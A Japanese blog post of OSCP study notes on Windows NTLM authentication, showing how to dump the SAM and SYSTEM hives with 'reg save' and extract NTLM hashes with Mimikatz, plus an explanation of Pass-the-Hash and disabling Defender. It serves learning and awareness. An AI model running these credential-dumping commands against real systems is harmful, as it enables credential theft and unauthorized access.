
#70 NTLM
年度末ですね。エンジニアとして働きだして、あっという間の2年でした。日々、新しいことにチャレンジし、手を汚して学んできた積み重ねで、今があると思っています。新年度も、泥にまみれて戦います。
さて、OSCPの勉強を進めていて、Windowsの知識が決定的に欠けていると気づきました。Active Directoryのような高度な内容に入る前に、しっかり基礎を固めておきます。Windowsの認証機構であるNTLMについて、まとめました。
NTLMとは
NTLMは、NT Lan Managerの略で、チャレンジ&レスポンス形式の認証プロトコルです。暗号化に古いアルゴリズムを使っているため、利用は非推奨とされていますが、レガシーシステムとの互換性のため、使われることもあります。
認証に使うパスワードをハッシュ化して保存しておき、Windowsにログインする際や、リモートサービス(SMBサーバーなど)と通信をする際に使われます。
SAM
NTLMハッシュは、Security Account Manager(SAM)に暗号化され他状態で保存されています。ファイルとして"C:\Windows\System32\Config\SAM"に存在しますが、内容は簡単には取り出せません。SYSTEM権限で読みだそうとしても、他のプロセスに専有されているため、エラーとなります。
> type C:\Windows\system32\config\SAM
type : The process cannot access the file 'C:\Windows\system32\config\SAM' because it is being used by another process.
At line:1 char:1
+ type C:\Windows\system32\config\SAM
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ReadError: (C:\Windows\system32\config\SAM:String) [Get-Content], IOException
+ FullyQualifiedErrorId : GetContentReaderIOError,Microsoft.PowerShell.Commands.GetContentCommand
管理者権限があれば、レジストリからダンプできます。
> reg save hklm\sam c:\sam
The operation completed successfully.
SAMは、暗号化されているため、そのままでは内容が確認できません。同じく"C:\Windows\System32\Config"配下にある、SYSTEMファイルにあるSysKeyが暗号化キーとなっています。同様にレジストリからダンプできます。
> reg save hklm\system c:\system
Mimikatz
Mimikatzは、Windows向けのツールで、SAMとSYSTEMファイルからNTLMハッシュを復号したり、メモリに読み込まれているNTLMハッシュを読み出したりできます。管理者権限が必要です。
まずは、Mimikatzコンソールを起動し、必要な権限があるか確認します。
> .\mimikatz.exe
mimikatz # privilege::debug
Privilege '20' OK
SYSTEMダンプとSAMダンプがある場合は、以下のようにして複合できます。Hash NTLMの部分がNTLMハッシュです。
mimikatz # lsadump::sam /system:C:\system /sam:C:\sam
Domain : DESKTOP-AAAAAAA
SysKey : xxxxxxxxxxxxxxxxxxxxxxxxxx
Local SID : S-1-5-21-413498671-1503835181-406322130
SAMKey : xxxxxxxxxxxxxxxxxxxxxxxxxx
RID : 000001f4 (500)
User : Administrator
RID : 000001f5 (501)
User : Guest
RID : 000001f7 (503)
User : DefaultAccount
RID : 000003e8 (1000)
User : kusa
Hash NTLM: xxxxxxxxxxxxxxxxxxxxxxxxxx
メモリから読み出す場合は、以下のようにします。NTLMの箇所がNTLMハッシュです。
mimikatz # sekurlsa::logonPasswords
Authentication Id : 0 ; 166347 (00000000:000289cb)
Session : Interactive from 1
User Name : kusa
Domain : DESKTOP-AAAAAAA
Logon Server : DESKTOP-AAAAAAA
Logon Time : 3/26/2023 10:45:01 PM
SID : S-1-5-21-413498671-1503835181-406322130-1000
msv :
[00000003] Primary
* Username : kusa
* Domain : DESKTOP-AAAAAAA
* NTLM : xxxxxxxxxxxxxxxxxxxxxxxxxxx
* SHA1 : xxxxxxxxxxxxxxxxxxxxxxxxxxx
tspkg :
wdigest :
* Username : kusa
* Domain : DESKTOP-AAAAAAA
* Password : (null)
kerberos :
* Username : kusa
* Domain : DESKTOP-AAAAAAA
* Password : (null)
ssp :
credman :
cloudap :
NTLMの脆弱性
NTLMハッシュを取り出せてなにがうれしいか。NTLMプロトコルでは、ハッシュ値さえあれば、パスワードがわからなくても認証が成功します。これはPass-The-Hash攻撃と呼ばれています。その名のとおり、パスワードではなくNTLMハッシュを直接サービスに渡すことで認証をバイパスします。 付け加えると、NTLMハッシュは、パスワードが同じなら同じ値になるので、同一パスワードの別人のアカウントでも認証が成功します。
…なんか危なそうじゃないですか?
もちろん、パスワードクラッカーで平文のパスワードを特定してもOKです。好きにしてください。
まとめ
NTLMを悪用すると、パスワードを知らなくてもネットワーク内を動けてしまいます。ちなみに、Mimikatzは、Windows Defenderで弾かれたので、ウイルスフィルターを一時的に止める必要がありました。他にも同様に攻撃できるツールはいくらでもあります。お気をつけて。
EOF